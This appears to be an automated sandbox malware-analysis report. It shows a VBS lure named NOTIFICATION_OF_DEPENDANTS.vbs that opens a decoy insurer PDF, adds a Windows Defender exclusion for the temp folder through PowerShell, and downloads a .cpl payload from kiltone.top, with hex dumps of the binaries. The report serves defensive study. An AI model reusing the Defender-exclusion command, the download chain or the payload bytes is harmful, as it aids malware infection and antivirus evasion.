                                                                                                                                          2024-12-14 12:59:46 UTC16384INData Raw: 33 c0 5f 5b 5e 8b e5 5d c3 8b ff 55 8b ec 83 ec 1c a1 14 f0 02 10 33 c5 89 45 fc 8b c1 89 45 e8 57 8b 00 8b 38 85 ff 75 08 83 c8 ff e9 ed 00 00 00 53 8b 1d 14 f0 02 10 8b d3 56 8b 37 83 e2 1f 8b 7f 04 33 f3 8b ca 33 fb d3 ce d3 cf 85 f6 0f 84 c5 00 00 00 83 fe ff 0f 84 bc 00 00 00 6a 20 59 2b ca 89 75 f4 33 c0 89 7d f0 d3 c8 33 c3 89 45 ec 83 ef 04 3b fe 72 68 8b 0f 3b c8 74 f3 33 cb 89 07 89 4d f8 8b ca 8b 5d f8 d3 cb 8b cb ff 15 38 11 02 10 ff d3 8b 45 e8 8b 1d 14 f0 02 10 8b d3 83 e2 1f 8b 00 8b 00 8b 08 8b 40 04 33 cb 89 4d f8 33 c3 8b ca d3 4d f8 d3 c8 8b 4d f8 89 45 e4 3b 4d f4 75 0b 3b 45 f0 8b 45 ec 74 a3 8b 45 e4 89 45 f0 8b f8 8b 45 ec 8b f1 89 4d f4 eb 91 83 fe ff 74 0d 56 e8 13 0d 00 00 8b 1d 14 f0 02 10 59 8b c3 33 d2 83 e0 1f 6a 20 59 2b c8
                                                                                                                                          Data Ascii: 3_[^]U3EEW8uSV733j Y+u3}3E;rh;t3M]8E@3M3MME;Mu;EEtEEEMtVY3j Y+
                                                                                                                                          2024-12-14 12:59:46 UTC16384INData Raw: 00 00 83 c4 10 c3 68 54 52 02 10 68 4c 52 02 10 68 54 52 02 10 6a 0f e8 34 01 00 00 83 c4 10 c3 68 9c 52 02 10 68 94 52 02 10 68 9c 52 02 10 6a 13 e8 1a 01 00 00 83 c4 10 c3 68 d0 52 02 10 68 c8 52 02 10 68 d0 52 02 10 6a 15 e8 00 01 00 00 83 c4 10 c3 68 b8 52 02 10 68 b0 52 02 10 68 b8 52 02 10 6a 14 e8 e6 00 00 00 83 c4 10 c3 68 ec 52 02 10 68 e4 52 02 10 68 ec 52 02 10 6a 16 e8 cc 00 00 00 83 c4 10 c3 8b ff 55 8b ec 51 53 56 57 8b 7d 08 e9 a1 00 00 00 8b 1f 8d 04 9d e8 0a 03 10 8b 30 89 45 fc 85 f6 74 0b 83 fe ff 0f 84 83 00 00 00 eb 7d 8b 1c 9d 50 4c 02 10 68 00 08 00 00 6a 00 53 ff 15 a8 10 02 10 8b f0 85 f6 75 50 ff 15 04 10 02 10 83 f8 57 75 35 6a 07 68 50 51 02 10 53 e8 dc cc ff ff 83 c4 0c 85 c0 74 21 6a 07 68 60 51 02 10 53 e8 c8 cc ff ff 83 c4
                                                                                                                                          Data Ascii: hTRhLRhTRj4hRhRhRjhRhRhRjhRhRhRjhRhRhRjUQSVW}0Et}PLhjSuPWu5jhPQSt!jh`QS
                                                                                                                                          2024-12-14 12:59:46 UTC16384INData Raw: 58 c5 66 0f 14 c0 66 0f 59 f0 f2 0f 59 e0 66 0f 59 c0 66 0f 58 fe 66 0f 59 f8 f2 0f 59 c3 66 0f 70 f7 ee f2 0f 59 c7 66 0f 70 eb ee f2 0f 59 f3 f2 0f 59 e3 66 0f 6e f9 66 0f 73 f7 2d 66 0f 6e d2 66 0f 76 c9 66 0f f3 ca f2 0f 58 c5 f2 0f 58 c6 66 0f 54 cb f2 0f 58 c4 66 0f 57 f6 66 0f 76 e4 66 0f f3 e2 f2 0f 5c d9 f2 0f 10 d1 f2 0f 58 c8 66 0f 54 cc 66 0f c4 f7 03 5f f2 0f 5c d1 f2 0f 58 c2 f2 0f 58 c3 83 fe 00 7f 4e 5e f2 0f 59 c7 f2 0f 59 cf f2 0f 58 c1 f2 0f 59 f0 f2 0f 58 c6 66 0f c5 c0 03 25 f0 7f 00 00 ba 18 00 00 00 3d f0 7f 00 00 0f 84 10 fe ff ff ba 19 00 00 00 83 f8 00 0f 84 02 fe ff ff 83 ec 10 66 0f 13 44 24 04 dd 44 24 04 83 c4 10 c3 5e f2 0f 58 c1 f2 0f 59 c7 f2 0f 59 f0 f2 0f 58 c6 66 0f c5 c0 03 25 f0 7f 00 00 ba 18 00 00 00 3d f0 7f 00 00
                                                                                                                                          Data Ascii: XffYYfYfXfYYfpYfpYYfnfs-fnfvfXXfTXfWfvf\XfTf_\XXN^YYXYXf%=fD$D$^XYYXf%=
                                                                                                                                          2024-12-14 12:59:46 UTC16384INData Raw: 00 57 8d 45 ec 6a 02 50 e8 89 8e ff ff 83 c4 3c 0b c3 f7 d8 1a c0 5f 5e fe c0 5b 8b e5 5d c3 8b ff 55 8b ec 56 8b 75 08 85 f6 0f 84 d0 00 00 00 6a 07 56 e8 31 fd ff ff 8d 46 1c 6a 07 50 e8 26 fd ff ff 8d 46 38 6a 0c 50 e8 1b fd ff ff 8d 46 68 6a 0c 50 e8 10 fd ff ff 8d 86 98 00 00 00 6a 02 50 e8 02 fd ff ff ff b6 a0 00 00 00 e8 8d 4d ff ff ff b6 a4 00 00 00 e8 82 4d ff ff ff b6 a8 00 00 00 e8 77 4d ff ff 8d 86 b4 00 00 00 6a 07 50 e8 d3 fc ff ff 8d 86 d0 00 00 00 6a 07 50 e8 c5 fc ff ff 83 c4 44 8d 86 ec 00 00 00 6a 0c 50 e8 b4 fc ff ff 8d 86 1c 01 00 00 6a 0c 50 e8 a6 fc ff ff 8d 86 4c 01 00 00 6a 02 50 e8 98 fc ff ff ff b6 54 01 00 00 e8 23 4d ff ff ff b6 58 01 00 00 e8 18 4d ff ff ff b6 5c 01 00 00 e8 0d 4d ff ff ff b6 60 01 00 00 e8 02 4d ff ff 83 c4
                                                                                                                                          Data Ascii: WEjP<_^[]UVujV1FjP&F8jPFhjPjPMMwMjPjPDjPjPLjPT#MXM\M`M
                                                                                                                                          2024-12-14 12:59:46 UTC16384INData Raw: e9 48 11 fe ff 8d 4d bc e9 b0 1e fe ff cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a 98 33 c8 e8 9a 6f fe ff 8b 4a fc 33 c8 e8 90 6f fe ff b8 c4 da 02 10 e9 af 82 fe ff cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a fc 33 c8 e8 6f 6f fe ff b8 00 d8 02 10 e9 8e 82 fe ff cc cc cc 8d 4d e8 e9 68 27 fe ff cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a e4 33 c8 e8 42 6f fe ff 8b 4a fc 33 c8 e8 38 6f fe ff b8 08 db 02 10 e9 57 82 fe ff cc cc cc cc cc cc cc cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a ec 33 c8 e8 0f 6f fe ff b8 44 db 02 10 e9 2e 82 fe ff cc cc cc 8d 4d e0 e9 e6 4c fe ff 6a 18 8b 45 dc 50 e8 fd 6e fe ff 83 c4 08 c3 8d 4d e8 e9 31 46 fe ff cc cc cc cc cc 90 90 8b 54 24 08 8d 42 0c 8b 4a 90 33 c8 e8 cb 6e fe ff 8b 4a f8 33 c8 e8 c1 6e fe ff b8
                                                                                                                                          Data Ascii: HMT$BJ3oJ3oT$BJ3ooMh'T$BJ3BoJ38oWT$BJ3oD.MLjEPnM1FT$BJ3nJ3n
                                                                                                                                          2024-12-14 12:59:46 UTC16384INData Raw: 00 d0 4b 02 10 19 00 00 00 d8 4b 02 10 11 00 00 00 e0 4b 02 10 18 00 00 00 e8 4b 02 10 16 00 00 00 f0 4b 02 10 17 00 00 00 f8 4b 02 10 22 00 00 00 00 4c 02 10 23 00 00 00 04 4c 02 10 24 00 00 00 08 4c 02 10 25 00 00 00 0c 4c 02 10 26 00 00 00 14 4c 02 10 65 78 70 00 70 6f 77 00 6c 6f 67 00 6c 6f 67 31 30 00 00 00 73 69 6e 68 00 00 00 00 63 6f 73 68 00 00 00 00 74 61 6e 68 00 00 00 00 61 73 69 6e 00 00 00 00 61 63 6f 73 00 00 00 00 61 74 61 6e 00 00 00 00 61 74 61 6e 32 00 00 00 73 71 72 74 00 00 00 00 73 69 6e 00 63 6f 73 00 74 61 6e 00 63 65 69 6c 00 00 00 00 66 6c 6f 6f 72 00 00 00 66 61 62 73 00 00 00 00 6d 6f 64 66 00 00 00 00 6c 64 65 78 70 00 00 00 5f 63 61 62 73 00 00 00 5f 68 79 70 6f 74 00 00 66 6d 6f 64 00 00 00 00 66 72 65 78 70 00 00 00 5f 79
                                                                                                                                          Data Ascii: KKKKKK"L#L$L%L&Lexppowloglog10sinhcoshtanhasinacosatanatan2sqrtsincostanceilfloorfabsmodfldexp_cabs_hypotfmodfrexp_y


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          4192.168.2.114978245.125.67.1684434020C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-12-14 13:00:02 UTC176OUTGET /stelin/Gosjeufon.cpl HTTP/1.1
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                                                                                                          Host: kiltone.top
                                                                                                                                          Connection: Keep-Alive
                                                                                                                                          2024-12-14 13:00:03 UTC253INHTTP/1.1 200 OK
                                                                                                                                          Server: nginx/1.18.0
                                                                                                                                          Date: Sat, 14 Dec 2024 13:00:03 GMT
                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                          Content-Length: 902856
                                                                                                                                          Last-Modified: Fri, 13 Dec 2024 23:58:00 GMT
                                                                                                                                          Connection: close
                                                                                                                                          ETag: "675cca08-dc6c8"
                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                          2024-12-14 13:00:03 UTC16131INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 84 7b 68 8b c0 1a 06 d8 c0 1a 06 d8 c0 1a 06 d8 b3 78 05 d9 d2 1a 06 d8 b3 78 03 d9 72 1a 06 d8 b3 78 02 d9 d7 1a 06 d8 92 6f 02 d9 d1 1a 06 d8 92 6f 05 d9 d8 1a 06 d8 92 6f 03 d9 9f 1a 06 d8 0a 6f 03 d9 e9 1a 06 d8 b3 78 00 d9 c1 1a 06 d8 b3 78 07 d9 cf 1a 06 d8 c0 1a 07 d8 71 1a 06 d8 0a 6f 0f d9 c1 1a 06 d8 0a 6f f9 d8 c1 1a 06 d8 c0 1a 91 d8 c1 1a 06 d8 0a 6f 04 d9 c1 1a 06
                                                                                                                                          Data Ascii: MZ@!L!This program cannot be run in DOS mode.${hxxrxooooxxqooo
                                                                                                                                          2024-12-14 13:00:03 UTC16384INData Raw: 08 c7 45 fc 00 00 00 00 8d 4e 10 c7 06 9c b3 48 00 c7 46 0c 04 00 00 00 e8 d0 17 01 00 c7 06 4c bc 48 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c2 04 00 cc cc cc cc cc cc 55 8b ec 6a ff 68 dd 33 48 00 64 a1 00 00 00 00 50 51 56 a1 34 61 4b 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 89 75 f0 0f 57 c0 66 0f d6 46 04 ff 75 08 c7 45 fc 00 00 00 00 8d 4e 10 c7 06 9c b3 48 00 c7 46 0c 00 00 00 00 e8 60 17 01 00 c7 06 b4 b3 48 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c2 04 00 cc cc cc cc cc cc 55 8b ec 6a ff 68 dd 33 48 00 64 a1 00 00 00 00 50 51 56 a1 34 61 4b 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 89 75 f0 0f 57 c0 66 0f d6 46 04 ff 75 08 c7 45 fc 00 00 00 00 8d 4e 10 c7 06 9c b3 48 00 c7 46 0c 02 00 00 00 e8 f0 16 01 00 c7 06
                                                                                                                                          Data Ascii: ENHFLHMdY^]Ujh3HdPQV4aK3PEduWfFuENHF`HMdY^]Ujh3HdPQV4aK3PEduWfFuENHF
                                                                                                                                          2024-12-14 13:00:03 UTC16384INData Raw: 45 fc 02 00 00 00 50 8b cf e8 ef 02 00 00 8d 77 18 50 8b ce e8 14 d7 00 00 8b 95 a4 fe ff ff 83 fa 10 72 2f 8b 8d 90 fe ff ff 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 9a 02 00 00 52 51 e8 68 4e 05 00 83 c4 08 83 7e 14 10 72 02 8b 36 ff 77 28 8b 85 00 ff ff ff 8d 8d 00 ff ff ff 56 ff 50 10 8d 45 cc 50 8b 85 00 ff ff ff 8d 8d 00 ff ff ff ff 50 18 6a 4c 8d 85 b0 fe ff ff 6a 00 50 e8 ec 6b 05 00 83 c4 0c c7 85 90 fe ff ff 00 00 00 00 8d 8d 90 fe ff ff c7 85 a0 fe ff ff 00 00 00 00 c7 85 a4 fe ff ff 0f 00 00 00 c6 85 90 fe ff ff 00 6a 00 68 5b 38 4a 00 e8 b2 fb 00 00 c6 45 fc 03 8d 8d 74 fe ff ff 6a 01 c7 85 74 fe ff ff 00 00 00 00 68 bc 3d 4a 00 c7 85 84 fe ff ff 00 00 00 00 c7 85 88 fe ff ff 0f 00 00 00 c6 85 74 fe ff
                                                                                                                                          Data Ascii: EPwPr/BrI#+RQhN~r6w(VPEPPjLjPkjh[8JEtjth=Jt
                                                                                                                                          2024-12-14 13:00:03 UTC16384INData Raw: 8d 14 fb ff ff 8b 85 00 fb ff ff 47 57 89 bd 48 e7 ff ff 8b 40 04 03 c8 8b 01 25 ff f9 ff ff 0d 00 08 00 00 89 01 8d 8d 00 fb ff ff e8 fc 91 00 00 8d 45 b8 50 8d 8d f0 fa ff ff e8 2d 64 00 00 6a 5c 8d 85 88 fe ff ff c6 45 fc 0e 6a 00 50 e8 29 2c 05 00 83 c4 0c 8d 8d 88 fe ff ff e8 7b 52 00 00 c7 85 70 ff ff ff 00 00 00 00 c7 45 80 00 00 00 00 c7 45 84 0f 00 00 00 c6 85 70 ff ff ff 00 c6 45 fc 10 8b 8d 90 fe ff ff ff 35 00 60 4b 00 6a 10 8b 01 ff b5 24 ff ff ff ff 50 18 8d 8d 88 fe ff ff e8 b4 41 03 00 6a 78 e8 87 0b 05 00 8b f8 83 c4 04 89 bd 44 e7 ff ff 6a 78 6a 00 57 c6 45 fc 11 e8 b4 2b 05 00 83 c4 0c 6a 10 e8 64 0b 05 00 8b f0 83 c4 04 89 b5 50 e7 ff ff 0f 57 c0 c6 45 fc 12 6a 00 8b ce 0f 11 06 e8 7c 50 01 00 8d 85 70 ff ff ff c7 06 18 dd 48 00 c7 46
                                                                                                                                          Data Ascii: GWH@%EP-dj\EjP),{RpEEpE5`Kj$PAjxDjxjWE+jdPWEj|PpHF
                                                                                                                                          2024-12-14 13:00:03 UTC16384INData Raw: ff ff c6 45 fc 13 e8 92 55 00 00 68 b8 55 4a 00 8d 8d 88 fe ff ff e8 e2 55 00 00 8d 85 88 fe ff ff c6 45 fc 2c 50 8d 4d e4 e8 5f 0d 00 00 8d 8d 88 fe ff ff c6 45 fc 13 e8 60 55 00 00 68 c0 55 4a 00 8d 8d 88 fe ff ff e8 b0 55 00 00 8d 85 88 fe ff ff c6 45 fc 2d 50 8d 4d e4 e8 2d 0d 00 00 8d 8d 88 fe ff ff c6 45 fc 13 e8 2e 55 00 00 8d 4d e4 33 f6 e8 f4 0c 00 00 85 c0 74 6b ba c8 55 4a 00 b9 38 cf 4b 00 e8 e1 96 00 00 50 e8 fb 9e 00 00 83 ec 14 8d 45 9c 8b cc 89 a5 84 fe ff ff 50 e8 47 57 00 00 83 ec 40 c6 45 fc 2e 8b cc 8d 85 fc fe ff ff 6a 01 50 e8 c0 8b ff ff 56 8d 4d e4 e8 87 0c 00 00 8b c8 e8 c0 54 00 00 8b c8 c6 45 fc 13 e8 85 d3 ff ff 83 c4 58 8d 4d e4 46 e8 89 0c 00 00 3b f0 72 95 8d 8d a0 fe ff ff e8 7a 00 00 00 8d 4d b4 e8 f2 0b 00 00 8d 4d 84 e8
                                                                                                                                          Data Ascii: EUhUJUE,PM_E`UhUJUE-PM-E.UM3tkUJ8KPEPGW@E.jPVMTEXMF;rzMM
                                                                                                                                          2024-12-14 13:00:03 UTC16384INData Raw: c7 45 fc 01 00 00 00 84 c0 74 79 8b 45 10 85 c0 7c 72 8b 5d 0c 7f 04 85 db 74 69 c6 45 fc 02 50 8b 06 53 ff 75 08 8b 48 04 8b 4c 31 38 e8 8b 35 00 00 89 46 08 89 56 0c 3b c3 75 05 3b 55 10 74 3c bf 03 00 00 00 eb 35 8b 4d ec 6a 01 8b 01 8b 70 04 b8 04 00 00 00 03 f1 33 c9 8b 56 0c 83 ca 04 39 4e 38 0f 45 c1 8b ce 0b c2 50 e8 6c d7 fe ff b8 7a 4b 41 00 c3 8b 75 ec 8b 7d e8 c7 45 fc 01 00 00 00 8b 06 6a 00 8b 48 04 b8 04 00 00 00 03 ce 8b 51 0c 0b d7 33 ff 39 79 38 0f 45 c7 0b c2 50 e8 36 d7 fe ff c7 45 fc 04 00 00 00 8b 06 8b 40 04 8b 4c 30 38 85 c9 74 05 8b 01 ff 50 08 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 0c 00 cc cc cc cc cc cc cc 8b 41 e8 8b 40 04 c7 44 08 e8 f4 5e 4a 00 8b 41 e8 8b 50 04 8d 42 e8 89 44 0a e4 c3 cc cc cc cc 55 8b
                                                                                                                                          Data Ascii: EtyE|r]tiEPSuHL185FV;u;Ut<5Mjp3V9N8EPlzKAu}EjHQ39y8EP6E@L08tPMdY_^[]A@D^JAPBDU
                                                                                                                                          2024-12-14 13:00:04 UTC16384INData Raw: 1a 0f b6 c3 eb 0b 8b 16 8b ce 0f b6 c3 50 ff 52 0c 8b 75 14 83 f8 ff 75 04 c6 45 10 01 83 ef 01 75 bb 8b 45 fc 5b 8b 4d 10 5f 89 70 04 89 08 5e 8b e5 5d c3 cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 8b 45 0c 53 8b 5d 18 56 8b 75 14 57 8b 7d 1c 89 45 f8 85 ff 74 55 0f 1f 40 00 85 f6 74 40 8b 46 20 8a 0b 88 4d ff 83 38 00 74 20 8b 56 30 8b 02 85 c0 7e 17 48 89 02 8b 4e 20 8b 11 8d 42 01 89 01 8a 45 ff 88 02 0f b6 c0 eb 0b 8b 16 0f b6 c1 8b ce 50 ff 52 0c 8b 75 14 83 f8 ff 75 04 c6 45 10 01 43 83 ef 01 75 b2 8b 45 f8 8b 4d 10 5f 89 70 04 5e 89 08 5b 8b e5 5d c3 55 8b ec 6a ff 68 e5 55 48 00 64 a1 00 00 00 00 50 83 ec 4c a1 34 61 4b 00 33 c5 89 45 f0 53 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b 7d 24 8b 45 0c 8b 4d 18 8b 5d 20 89 45 a8 89 4d ac 85 ff 74 11 8a
                                                                                                                                          Data Ascii: PRuuEuE[M_p^]UES]VuW}EtU@t@F M8t V0~HN BEPRuuECuEM_p^[]UjhUHdPL4aK3ESVWPEd}$EM] EMt
                                                                                                                                          2024-12-14 13:00:04 UTC16384INData Raw: 57 50 e8 f6 26 04 00 8b 45 f8 83 c4 0c 89 43 10 8b c3 5f 5e 5b 8b e5 5d c2 0c 00 8b 45 fc 2b c8 3b d1 77 59 0f 10 07 40 50 0f 11 03 f3 0f 7e 47 10 66 0f d6 43 10 c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 8b 3b 57 8d 04 17 50 e8 aa 26 04 00 83 c4 0c 83 7e 14 10 72 02 8b 36 8b 4d f4 51 56 57 e8 94 26 04 00 8b 45 f8 83 c4 0c 89 43 10 8b c3 5f 5e 5b 8b e5 5d c2 0c 00 b8 ff ff ff 7f 2b c2 3b 45 fc 0f 82 c0 00 00 00 8b 45 f8 83 c8 0f 3d ff ff ff 7f 76 07 b8 ff ff ff 7f eb 0a b9 16 00 00 00 3b c1 0f 42 c1 33 c9 89 45 ec 83 c0 01 0f 92 c1 f7 d9 0b c8 81 f9 00 10 00 00 72 26 8d 41 23 3b c1 0f 86 85 00 00 00 50 e8 64 0b 04 00 83 c4 04 85 c0 74 7d 8b 55 f4 8d 48 23 83 e1 e0 89 41 fc eb 19 85 c9 74 13 51 e8 45 0b 04 00 8b 55 f4 83 c4 04 8b c8 89 45 f0 eb 05
                                                                                                                                          Data Ascii: WP&EC_^[]E+;wY@P~GfCGG;WP&~r6MQVW&EC_^[]+;EE=v;B3Er&A#;Pdt}UH#AtQEUE
                                                                                                                                          2024-12-14 13:00:04 UTC16384INData Raw: e8 08 9d 00 00 8b 4d dc 8b 01 ff 50 0c ff 75 d8 8b 4d ec 8b f0 ff 75 d4 8b 3e e8 7e 09 00 00 50 ff 75 f0 8b ce ff 75 e8 ff 57 10 8b 55 c8 39 55 c4 8b 75 cc 8b fe 0f 42 55 c4 33 c0 c6 45 fc 0d 8b ca f3 ab 56 85 d2 74 07 e8 ef a3 02 00 eb 05 e8 58 a4 02 00 83 c4 04 8b 55 f0 32 c0 8b fa c7 45 fc 0e 00 00 00 8b cb f3 aa 52 e8 3d a4 02 00 8b 45 e8 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b 8d e8 00 00 00 33 cd e8 7e c9 03 00 8d a5 ec 00 00 00 5d c2 18 00 8b 03 6a 0a ff 50 10 50 8d 85 d0 00 00 00 50 e8 2e f7 ff ff 8b f8 6a 0a 8d 85 90 00 00 00 c7 45 fc 00 00 00 00 56 50 e8 16 f7 ff ff 83 c4 18 8b f0 8b 43 04 8d 4b 04 8d 55 78 c6 45 fc 01 52 ff 50 08 68 b0 bb 48 00 50 8d 45 60 c6 45 fc 02 50 e8 5d 9a ff ff 56 50 8d 45 48 c6 45 fc 03 50 e8 9e 9a ff ff
                                                                                                                                          Data Ascii: MPuMu>~PuuWU9UuBU3EVtXU2ER=EMdY_^[3~]jPPP.jEVPCKUxERPhHPE`EP]VPEHEP
                                                                                                                                          2024-12-14 13:00:04 UTC16384INData Raw: 00 00 00 85 c9 74 06 8b 01 6a 01 ff 10 89 77 04 88 5f 08 8b 75 08 8b ce 57 c6 45 fc 00 e8 9b e9 01 00 8b 4d e8 c7 45 fc 03 00 00 00 85 c9 74 06 8b 11 6a 01 ff 12 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 cc cc cc 56 8b f1 e8 d8 11 fe ff f6 44 24 08 01 74 0b 6a 14 56 e8 54 8e 03 00 83 c4 08 8b c6 5e c2 04 00 f6 44 24 04 01 56 8b f1 c7 06 7c bc 48 00 74 0b 6a 0c 56 e8 33 8e 03 00 83 c4 08 8b c6 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 57 68 08 72 4b 00 68 20 6c 4b 00 8b f1 e8 f6 a2 03 00 8b 7c 24 1c 83 c4 08 85 c0 75 15 8d 46 10 50 57 ff 74 24 18 e8 04 29 00 00 83 c4 0c 84 c0 75 1a ff 74 24 10 68 1c 6c 4b 00 ff 74 24 14 e8 fb 03 fe ff 8a 46 10 83 c4 0c 88 07 5f 5e c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 57
                                                                                                                                          Data Ascii: tjw_uWEMEtjMdY_^[]VD$tjVT^D$V|HtjV3^VWhrKh lK|$uFPWt$)ut$hlKt$F_^VW


                                                                                                                                          Click to jump to process

                                                                                                                                          Click to jump to process

                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                          Click to jump to process

                                                                                                                                          Target ID:0
                                                                                                                                          Start time:07:59:30
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\wscript.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs"
                                                                                                                                          Imagebase:0x7ff7a2b80000
                                                                                                                                          File size:170'496 bytes
                                                                                                                                          MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:2
                                                                                                                                          Start time:07:59:30
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                          Imagebase:0x7ff6b07d0000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:3
                                                                                                                                          Start time:07:59:30
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:4
                                                                                                                                          Start time:07:59:30
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                          Imagebase:0x7ff6eb350000
                                                                                                                                          File size:452'608 bytes
                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:6
                                                                                                                                          Start time:07:59:33
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                          Imagebase:0x7ff6a3150000
                                                                                                                                          File size:3'242'272 bytes
                                                                                                                                          MD5 hash:83395EAB5B03DEA9720F8D7AC0D15CAA
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:false

                                                                                                                                          Target ID:7
                                                                                                                                          Start time:07:59:33
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:"C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
                                                                                                                                          Imagebase:0x7ff6b07d0000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:8
                                                                                                                                          Start time:07:59:33
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff68cce0000
                                                                                                                                          File size:862'208 bytes
                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Reputation:high
                                                                                                                                          Has exited:true

                                                                                                                                          Target ID:9
                                                                                                                                          Start time:07:59:34
                                                                                                                                          Start date:14/12/2024
                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
